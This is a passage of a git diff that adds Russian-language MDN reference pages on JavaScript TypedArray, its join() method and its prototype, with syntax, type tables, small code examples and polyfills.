+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/typedarray/index.html b/files/ru/web/javascript/reference/global_objects/typedarray/index.html
new file mode 100644
index 0000000000..e2a200783a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/typedarray/index.html
@@ -0,0 +1,258 @@
+---
+title: TypedArray
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray
+tags:
+  - JavaScript
+  - TypedArray
+  - TypedArrays
+  - Типизированные массивы
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray
+---
+<div>{{JSRef}}</div>
+
+<p>Объект <strong><em>TypedArray </em></strong>(типизированный массив) это массивоподобное представление нижележащего <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">буфера с бинарными данными (ArrayBuffer)</a>. Нет ни глобального свойства <code><em>TypedArray</em></code>, ни открытого конструктора <em><code>TypedArray</code></em>. Но существует ряд глобальных элементов, которые являются конструкторами типизированных массивов для конкретно заданных типов данных. Они приведены ниже. Далее вы найдёте общие свойства и функции, которые можно использовать с любыми типизированными массивами.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">new <em>TypedArray</em>(); // новое в ES2017
+new <em>TypedArray</em>(length);
+new <em>TypedArray</em>(typedArray);
+new <em>TypedArray</em>(object);
+new <em>TypedArray</em>(buffer [, byteOffset [, length]]);
+
+<strong>где <em>TypedArray()</em> это одно из следующих значений:</strong>
+
+Int8Array(), Uint8Array(), Uint8ClampedArray(), Int16Array(), Uint16Array(), Int32Array(), Uint32Array(), Float32Array(), Float64Array()
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>length</dt>
+ <dd>При вызове в памяти создаётся буфер длины  <em><strong><code>length</code></strong></em> *  <em>BYTES_PER_ELEMENT</em>  байт, содержащий нули</dd>
+ <dt>typedArray</dt>
+ <dd>Когда вызывается с аргументом <code><strong>typedArray</strong></code>, который может быть объектом любого из типов типизированных массивов (например, <code>Int32Array</code>), тогда переданный массив <code>typedArray</code> копируется в новый массив. Каждое значение из <code>typedArray</code> конвертируется в соответствующий конструктору тип прямо перед копированием. Длина нового объекта <code>typedArray</code> будет такой же как и длина переданного в параметре <code>typedArray</code></dd>
+ <dt>object</dt>
+ <dd>Новый массив создаётся так, как если бы была вызвана функция <code><em>TypedArray</em>.from()</code></dd>
+ <dt>buffer, byteOffset, length</dt>
+ <dd>Когда происходит вызов с параметрами <strong><code>buffer</code> </strong>и опциональными параметрами <strong><code>byteOffset </code></strong>и<code> </code><strong><code>length</code></strong>, то будет создан новый типизированный массив, который будет отражать <code>buffer </code>типа {{jsxref("ArrayBuffer")}}. Параметры <code>byteOffset</code> и <code>length</code> определяют диапазон (размер) памяти, выводимый данным массивоподобным представлением. Если оба этих параметра (<code>byteOffset</code> и <code>length</code>) опущены, то будет использован весь буфер <code>buffer</code>; если опущен только <code>length</code>, то будет выведен весь остаток буфера после смещения начала отсчета элементов, заданного параметром <code>byteOffset</code>.</dd>
+</dl>
+
+<h2 id="Описание"><a id="Description" name="Description">Описание</a></h2>
+
+<p>ECMAScript 2015 определяет конструктор объекта <em>TypedArray, </em>который является прототипом всех <em>TypedArray</em>-конструкторов. Этот конструктор не открыт явным образом: какое-либо глобальное свойство <em><code>%TypedArray%</code></em> или <em><code>TypedArray</code> </em>отсутствует.  Он доступен только через <code>Object.getPrototypeOf(...) (</code>например<code>, Int8Array.prototype)</code>. Все <em>TypedArray</em>s конструкторы наследуют общие свойства от конструктора <code>%TypedArray%</code>. Кроме того, все прототипы типизированных массивов (<em>TypedArray<code>.</code></em><code>prototype</code>) имеют своим прототипом <em>%TypedArray%<code>.</code></em><code>prototype</code>.</p>
+
+<p>Сам по себе конструктор <code>%TypedArray%</code> не имеет пользы. Его вызов напрямую или через оператор <code>new</code>  выдаст ошибку <code>TypeError</code>, кроме случая, когда он используется во время создания объектов в JS-движке, поддерживающего подклассы.  В настоящее время такие движки неизвестны, поэтому <code>%TypedArray%</code> используется только для дополнения функциональности (затычка) браузеров в конструкторах <em>TypedArray</em>.</p>
+
+<p>Когда создаётся экземпляр <em>TypedArray</em> (например, <code>Int8Array</code>), то буферный массив создаётся в памяти, в случае если объект <code>ArrayBuffer</code> передаётся как аргумент конструктора, то вместо создания буфера используется он. Адрес буфера сохраняется во внутреннем свойстве экземпляра, и все методы из %<code>TypedArray</code>%.<code>prototype</code>, например сеттеры и геттеры, оперируют с буфером, по этому адресу.</p>
+
+<h3 id="Доступ_к_свойствам">Доступ к свойствам</h3>
+
+<p>Получить доступ к элементам массива можно используя стандартный синтаксис по индексу (например, <code>arr[12]</code>). Однако, получение и установка индексируемых свойств по цепи прототипов не будет происходить даже в случае, когда вы пытаетесь использовать индексы извне массива. Индексируемые свойства обращаются к элементам буфера {{jsxref("ArrayBuffer")}} и не имеют отношения к объектным свойствам. Также можно использовать именованные свойства как и в обычных объектах.</p>
+
+<pre class="brush: js">//Установка и получение используя стандартный синтаксис массивов
+var int16 = new Int16Array(2);
+int16[0] = 42;
+console.log(int16[0]); // 42
+
+//Отсутствует обращение к свойству прототипа (элемент №20 должен бы иметь значение "foo")
+Int8Array.prototype[20] = "foo";
+(new Int8Array(32))[20]; // 0
+//Отсутствует даже в случае обращения к индексу извне текущего массива
+Int8Array.prototype[20] = "foo";
+(new Int8Array(8))[20]; // undefined
+// также в случае отрицательных индексов
+Int8Array.prototype[-1] = "foo";
+(new Int8Array(8))[-1]; // undefined
+
+// Допустимы именованные свойства
+Int8Array.prototype.foo = "bar";
+(new Int8Array(32)).foo; // "bar"</pre>
+
+<h2 id="Объекты_TypedArray"><a id="TypedArray_objects" name="TypedArray_objects">Объекты TypedArray</a></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Тип</td>
+   <td class="header">Диапазон значений</td>
+   <td>Размер (байты)</td>
+   <td class="header">Описание</td>
+   <td class="header">Тип Web IDL</td>
+   <td class="header">Эквивалентный тип языка C</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int8Array")}}</td>
+   <td>-128 до 127</td>
+   <td>1</td>
+   <td>8-битное целое со знаком с дополнением до двух</td>
+   <td><code>byte</code></td>
+   <td><code>int8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8Array")}}</td>
+   <td>0 до 255</td>
+   <td>1</td>
+   <td>8-битное беззнаковое целое</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8ClampedArray")}}</td>
+   <td>0 до 255</td>
+   <td>1</td>
+   <td>8-битное беззнаковое целое (фиксированное от 0 до 255)</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int16Array")}}</td>
+   <td>-32768 до 32767</td>
+   <td>2</td>
+   <td>16-битное целое со знаком с дополнением до двух</td>
+   <td><code>short</code></td>
+   <td><code>int16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint16Array")}}</td>
+   <td>0 до 65535</td>
+   <td>2</td>
+   <td>16-битное беззнаковое целое</td>
+   <td><code>unsigned short</code></td>
+   <td><code>uint16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int32Array")}}</td>
+   <td>-2147483648 до 2147483647</td>
+   <td>4</td>
+   <td>32-битное целое со знаком с дополнением до двух</td>
+   <td><code>long</code></td>
+   <td><code>int32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint32Array")}}</td>
+   <td>0 до 4294967295</td>
+   <td>4</td>
+   <td>32-битное беззнаковое целое</td>
+   <td><code>unsigned long</code></td>
+   <td><code>uint32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float32Array")}}</td>
+   <td>1.2x10<sup>-38</sup> to 3.4x10<sup>38</sup></td>
+   <td>4</td>
+   <td>32-битное число с плавающей точкой IEEE-стандарта (7 значащих цифр, нпример 1.123456)</td>
+   <td><code>unrestricted float</code></td>
+   <td><code>float</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float64Array")}}</td>
+   <td>5.0x10<sup>-324</sup> to 1.8x10<sup>308</sup></td>
+   <td>8</td>
+   <td>64-битное число с плавающей точкой IEEE-стандарта (16 значащих цифр, например, 1.123...15)</td>
+   <td><code>unrestricted double</code></td>
+   <td><code>double</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Возвращает размер элемента для разных типизированных массивов.</dd>
+ <dt><em>TypedArray</em>.length</dt>
+ <dd>Свойство "Длина", значение которого 0.</dd>
+ <dt>{{jsxref("TypedArray.name")}}</dt>
+ <dd>Возвращает строковое имя конструктора. Например, "Int8Array".</dd>
+ <dt>{{jsxref("TypedArray.@@species", "get TypedArray[@@species]")}}</dt>
+ <dd>Конструктор. Используется для создания производных объектов.</dd>
+ <dt>{{jsxref("TypedArray.prototype")}}</dt>
+ <dd>Прототип для <em>TypedArray</em>-объектов.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from()")}}</dt>
+ <dd>Создаёт типизированный массив из массивоподобного или перечислимого объекта. Смотрите {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of()")}}</dt>
+ <dd>Создаёт новый типизированный массив с переменным числом аргументов, из которых создастся массив. Смотрите {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Прототип_TypedArray">Прототип TypedArray</h2>
+
+<p><em>Все TypedArray</em>s-массивы наследуют от {{jsxref("TypedArray.prototype")}}.</p>
+
+<h3 id="Свойства_2">Свойства</h3>
+
+<p>{{page('ru/Web/JavaScript/Reference/Global_Objects/TypedArray/prototype','Properties')}}</p>
+
+<h3 id="Методы_2">Методы</h3>
+
+<p>{{page('ru/Web/JavaScript/Reference/Global_Objects/TypedArray/prototype','Methods')}}</p>
+
+<h3 id="Полифилы_(дополнители)_методов">Полифилы (дополнители) методов</h3>
+
+<p>Многие методы, используемые в TypedArray, могут быть подменены, используя методы, присутствующие среди стандартных в прототипе Arrays. Следующий кусок Javascript-кода демонстрирует, как вы можете дополнить недостающие методы Typed Array.</p>
+
+<pre class="brush: js example-bad">var typedArrayTypes = [<code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Int8Array" title="Объект Int8Array представляет типизированный массив 8-разрядных целых значений. Содержимое инициализируется значением 0. Создав экземпляр Int8Array, возможно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации).">Int8Array</a>, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array" title="Объект Uint8Array представляет типизированный массив 8-разрядных целых беззнаковых значений. Содержимое инициализируется значением 0. Создав экземпляр Int8Array, возможно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации).">Uint8Array</a>, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray" title="Типизированный массив Uint8ClampedArray —  это массив,  служащий для храния 8-битных безнаковых чисел, обрезаемых до диапазона от 0 до 255. Если значение меньше 0, то оно будет приведено к 0 , и к 255, если оно больше 255. Числа с плавающей точкой округляются с помощью математического округления. Массив инициализуруется нулями. После того как значение установлено, Вы можете ссылаться на него с помощью методов объекта или через стандартный синтаксис массивов (то есть, брать значения с помощью квадратных скобок). ">Uint8ClampedArray</a>, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Int16Array" title="Объект Int16Array представляет типизированный массив 16-битных целых чисел со знаком с дополнением до двух с платформо-зависимым порядком байт. Если необходим контроль за порядком байт, то вместо этого объекта используйте DataView. Содержимое инициализируется значением 0. Создав экземпляр Int16Array, можно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации).">Int16Array</a>,
+</code>          <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Uint16Array" title="Объект Uint16Array представляет типизированный массив 16-битных целых беззнаковых чисел с платформо-зависимым порядком байт. Если необходим контроль за порядком байт, то вместо этого объекта используйте DataView. Содержимое инициализируется значением 0. Создав экземпляр Uint16Array , можно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации).">Uint16Array</a>, ​​​<a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Int32Array" title="Объект Int32Array представляет типизированный массив 32-битных целых чисел со знаком с дополнением до двух с платформо-зависимым порядком байт. Если необходим контроль за порядком байт, то вместо этого объекта используйте DataView. Содержимое инициализируется значением 0. Создав экземпляр Int32Array, можно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации).">Int32Array</a>, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Uint32Array" title="Объект Uint32Array представляет типизированный массив 32-битных целых беззнаковых чисел с платформо-зависимым порядком байт. Если необходим контроль за порядком байт, то вместо этого объекта используйте DataView. Содержимое инициализируется значением 0. Создав экземпляр Uint32Array, можно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации).">Uint32Array</a>, ​​​<a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Float32Array" title="Объект Float32Array представляет типизированный массив 32-битных чисел с плавающей запятой (соответствует типу float в языке C)  с платформо-зависимым порядком байт. Если необходим контроль за порядком байт, то вместо этого объекта используйте DataView. Содержимое инициализируется значением 0. Создав экземпляр Float32Array, можно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации - квадратные скобки).">Float32Array</a>, </code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Float64Array" title="Объект Float64Array представляет типизированный массив 64-битных чисел с плавающей запятой (соответствует типу double в языке C)  с платформо-зависимым порядком байт.Если необходим контроль за порядком байт, то вместо этого объекта используйте DataView. Содержимое инициализируется значением 0. Создав экземпляр Float64Array , можно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации - квадратные скобки)."><code>Float64Array</code></a>];
+
+for (var k in typedArrayTypes)
+    for (var v in Array.prototype)
+        if (Array.prototype.hasOwnProperty(v) &amp;&amp;
+          !typedArrayTypes[k].prototype.hasOwnProperty(v))
+            typedArrayTypes[k].prototype[v] = Array.prototype[v];
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Определяет работу <code>TypedArray</code> и <code>ArrayBufferView</code>. Заменен в ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Первоначальное определение в стандарте ECMA. Определяет поведение индекных и именованных свойств. Указывает, что необходимо использовать оператор <code>new</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Спецификация ECMAScript 2017 изменила конструктор TypedArray, так что используется операция <code>ToIndex,</code> и позволены конструкторы без аргументов.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray")}}</p>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>Начиная с ECMAScript 2015, конструкторы <code>TypedArray</code> требуют использования оператора {{jsxref("Operators/new", "new")}}. Вызов конструктора <code>TypedArray</code> как функции без <code>new</code>, отныне выбросит ошибку {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Int8Array([1, 2, 3]);
+// TypeError: вызов встроенного конструктора Int8Array
+// без <strong>new </strong>запрещён</pre>
+
+<pre class="brush: js example-good">var dv = new Int8Array([1, 2, 3]);</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/typedarray/join/index.html b/files/ru/web/javascript/reference/global_objects/typedarray/join/index.html
new file mode 100644
index 0000000000..ba3118f74d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/typedarray/join/index.html
@@ -0,0 +1,133 @@
+---
+title: TypedArray.prototype.join()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/join
+tags:
+  - JavaScript
+  - Prototype
+  - TypedArray
+  - Массив
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/join
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>join()</strong></code> объединяет все элементы массива в строку. Метод работает по тому же алгоритму, что и  {{jsxref("Array.prototype.join()")}}<em>.</em> <em>TypedArray</em> это один из типизированных массивов: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">типы массивов</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>typedarray</var>.join(<code>[<var>separator</var> = ',']</code>);</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>разделитель</code></dt>
+ <dd>Необязательный параметр. Определяет строку, разделяющую элементы массива. Разделитель приводится к строке в случае необходимости. Если он опущен, элементы массива разделяются запятой (",").</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Строка, соединяющая все элементы массива.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var uint8 = new Uint8Array([1,2,3]);
+uint8.join();      // '1,2,3'
+uint8.join(' / '); // '1 / 2 / 3'
+uint8.join('');    // '123'
+</pre>
+
+<h2 id="Glossary('Polifill'_'Полифил')">{{Glossary('Polifill', 'Полифил')}}</h2>
+
+<p>Поскольку теперь нет глобального объекта с именем <em>TypedArray</em>, то полифиллинг доджен быть выполнен "по требованию".</p>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.join
+if (!Uint8Array.prototype.join) {
+  Object.defineProperty(Uint8Array.prototype, 'join', {
+    value: Array.prototype.join
+  });
+}
+</pre>
+
+<p>Если вам нужна поддержка устаревшего JavaScript-дфижка, который не поддерживает свойство <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, то лучше не создавать полифилы новых методов <code>Array.prototype</code>, так как вы не сможете сделать их неперечислимыми.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.join', 'TypedArray.prototype.join')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.join', 'TypedArray.prototype.join')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("37")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/typedarray/prototype/index.html b/files/ru/web/javascript/reference/global_objects/typedarray/prototype/index.html
new file mode 100644
index 0000000000..09ab9b3215
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/typedarray/prototype/index.html
@@ -0,0 +1,128 @@
+---
+title: TypedArray.prototype
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype
+tags:
+  - TypedArray
+  - Типизированный массив
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Свойство TypedArray</strong></code><strong><code>.prototype</code></strong> является прототипом для {{jsxref("TypedArray")}}-конструкторов.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Экземпляры {{jsxref("TypedArray")}} наследуются от {{jsxref("TypedArray.prototype")}}. Вы можете использовать объект прототипа конструктора для добавления в свойств и методов во все экземпляры <em>TypedArray</em>, где <em>TypedArray</em> это один из <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">типизированных массивов</a>.</p>
+
+<p>Также смотрите описание <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Description"><em>TypedArray</em></a> для детальной информации о наследниках.</p>
+
+<h2 id="Свойства"><a id="Properties" name="Properties">Свойства</a></h2>
+
+<dl>
+ <dt><code>TypedArray.prototype.constructor</code></dt>
+ <dd>Возвращает функцию, которая создала прототип экземпляра. Это единственное, что для объектов <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">типизированных массивов</a> функционирует по умолчанию.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{jsxref("ArrayBuffer")}}, на который ссылается типизированный массив. Значение фиксировано с времени создания и доступно <strong>только для чтения</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Возвращает длину (в байтах) типизированного массива (с начала {{jsxref("ArrayBuffer")}}). Значение фиксировано с времени создания и доступно <strong>только для чтения</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Возвращает смещение (в байтах) типизированного массива от его {{jsxref("ArrayBuffer")}}. Значение фиксировано с времени создания и доступно <strong>только для чтения</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Возвращает число элементов типизированного массива. Значение фиксировано с времени создания и доступно <strong>только для чтения</strong>.</dd>
+</dl>
+
+<h2 id="Методы"><a id="Methods" name="Methods">Методы</a></h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.prototype.copyWithin()")}}</dt>
+ <dd>Копирует последовательность элементов массива внутри него. Подробнее {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.entries()")}}</dt>
+ <dd>Возвращает новый объект итератора <code><strong>Array Iterator</strong></code>, содержащий пары ключ / значение для каждого индекса массива. Подробнее {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.every()")}}</dt>
+ <dd>Проверяет, удовлетворяют ли все элементы массива условию, заданному в передаваемой функции. Подробнее {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.fill()")}}</dt>
+ <dd>Заполняет все элементы массива от начального индекта до конечного индекса указанным значением. Подробнее {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.filter()")}}</dt>
+ <dd>Создаёт новый массив с теми элементами текущего массива, с которыми фильтрующая функция вернёт <code>true</code>. Подробнее {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.find()")}}</dt>
+ <dd>Возвращает значение элемента массива, если элемент удовлетворяет условию проверяющей функции, иначе возвращается <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/undefined" title="Значение глобального свойства undefined представляет значение undefined. Это одно из примитивных значений JavaScript."><code>undefined</code></a>. Подробнее {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.findIndex()")}}</dt>
+ <dd>Возвращает индекс элемента массива, если элемент удовлетворяет условию проверяющей функции, иначе возвращается -1. Подробнее {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.forEach()")}}</dt>
+ <dd>Выполняет указанную функцию один раз для каждого элемента в массиве. Подробнее {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Определяет, содержит ли массив определённый элемент, возвращая в зависимости от этого <code>true</code> или <code>false</code>. Подробнее {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.indexOf()")}}</dt>
+ <dd>Возвращает первый (меньший) индекс элемента, значение которого равно указанному значению или -1, если такого индекса нет. Подробнее {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.join()")}}</dt>
+ <dd>Объединяет все элементы массива в строку . Подробнее {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.keys()")}}</dt>
+ <dd>Возвращает новый итератор массива <code><strong>Array Iterator</strong></code>, содержащий ключи каждого индекса в массиве. Подробнее {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</dt>
+ <dd>Возвращает последний (больший) индекс элемента, значение которого равно заданному значению или -1, если такого индекса нет. Подробнее {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.map()")}}</dt>
+ <dd>Создаёт новый массив с результатом вызова указанной функции для каждого элемента массива. Подробнее {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Ранний нестандартный вариант от {{jsxref("TypedArray.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reduce()")}}</dt>
+ <dd>Применяет функцию к аккумулятору и каждому значению массива (слева-направо), сводя его к одному значению. Подробнее {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reduceRight()")}}</dt>
+ <dd>Применяет функцию к аккумулятору и каждому значению массива (справа-налево), сводя его к одному значению. Подробнее {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reverse()")}}</dt>
+ <dd>Обращает порядок следования элементов массива. Первый элемент массива становится последним, а последний — первым. Подробнее {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.set()")}}</dt>
+ <dd>Сохраняет несколько значений в типизированном массиве, получая входные значения из указанного массива.</dd>
+ <dt>{{jsxref("TypedArray.prototype.slice()")}}</dt>
+ <dd>Возвращает часть массива в новый объект массива. Подробнее {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.some()")}}</dt>
+ <dd>Возвращает <code>true</code>, если хоть какой-нибудь элемент массива удовлетворяет условию, заданному в передаваемой функции. Подробнее {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.sort()")}}</dt>
+ <dd>На месте сортирует элементы массива и возвращает отсортированный массив. Подробнее {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.subarray()")}}</dt>
+ <dd>Возвращает новый <code>TypedArray</code>-объект, начиная с указанного стартового и кончая указанным конечным индексом элемента массива.</dd>
+ <dt>{{jsxref("TypedArray.prototype.values()")}}</dt>
+ <dd>Возвращает новый объект итератора массива <strong><code>Array Iterator</code></strong>, содержащий значения для каждого индекса в массиве. Подробнее {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.prototype.toLocaleString()")}}</dt>
